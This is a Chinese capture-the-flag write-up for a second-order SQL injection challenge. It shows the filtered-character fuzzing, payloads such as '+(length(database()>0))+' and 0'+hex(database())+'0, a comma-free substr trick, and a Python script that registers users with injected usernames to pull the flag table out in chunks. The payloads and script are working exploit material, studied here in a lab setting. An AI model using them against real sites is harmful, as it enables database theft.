一开始感觉是注入,试了半天也不行,看到源码那个图片地址是upload/a.jpeg,又感觉有文件上传,这个页面是login.php,看看有没有注册,结果还真有
随便注册个登陆进去,啥也没有,不过发现用户名被打印在页面上了,这是我们可控的
试了一下把用户名写成database()结果什么也没发生
好像是因为注册的时候我们的数据是放在引号里闭合的,直接以字符串的形式存入,所以我们要不让他闭合掉
他的sql语句大概这样子
insert into table(e_mail,name,pass) values('e-mail','name','pass');
fuzz被过滤的字符
本地测试:
INSERT INTO denglu
(id
, username
, password
) VALUES (null,database(),111)
INSERT INTO denglu
(id
, username
, password
) VALUES (null,‘database()’,111)
INSERT INTO denglu
(id
, username
, password
) VALUES (null,‘’+database()+‘’,111)
INSERT INTO denglu
(id
, username
, password
) VALUES (null,0^(length(database())>0),111)
回显:
表名
database()
0
1
ohhhhhhhhhhhh~ 新姿势
这个跟php的弱类型差不多的,‘’+(我们的盲注)+‘’,我们盲注的结果返回1那这里username就会变成1,反之为0
测试:
注册的时候用户名这样写:(注意单引号不能漏)
‘+(length(database()>0))+’
回显:
成功了
另外,‘0’+123+'0’这样的注入进去是123,这样可以直接读到内容,这里的数字嘛,我们可以把想得到的东西进行两次hex()就好了,但是两次hex()之后注入数据库的数字变成了小数,这里可以用substr截取,而逗号被过滤了,如何不用逗号进行截取又是新的知识点,学到了:substr(str from 1 for 10) 这个样子
测试:
0’+hex(database())+'0
这里借用一下一位师傅的测试结果,写的非常好https://guokeya.github.io/
写脚本:
import requests
import re
url1='http://82536a80-e0da-43e7-b525-42c3970acf14.node4.buuoj.cn:81/login.php'
url2='http://82536a80-e0da-43e7-b525-42c3970acf14.node4.buuoj.cn:81/register.php'
content=''
for i in range(1,20):
res=requests.session()
data_register={
'email':'112@{}'.format(i),
'username':"0'+(substr(hex(hex((select * from flag ))) from ({}-1)*10+1 for 10))+'0".format(i),
'password':'1'
}
data_login={'email':'112@{}'.format(i),'password':'1'}
res.post(url=url2,data=data_register)
ress=res.post(url=url1,data=data_login).text
print (re.findall("(.*)</span>",ress)[0].replace('</span>','').strip(),end='')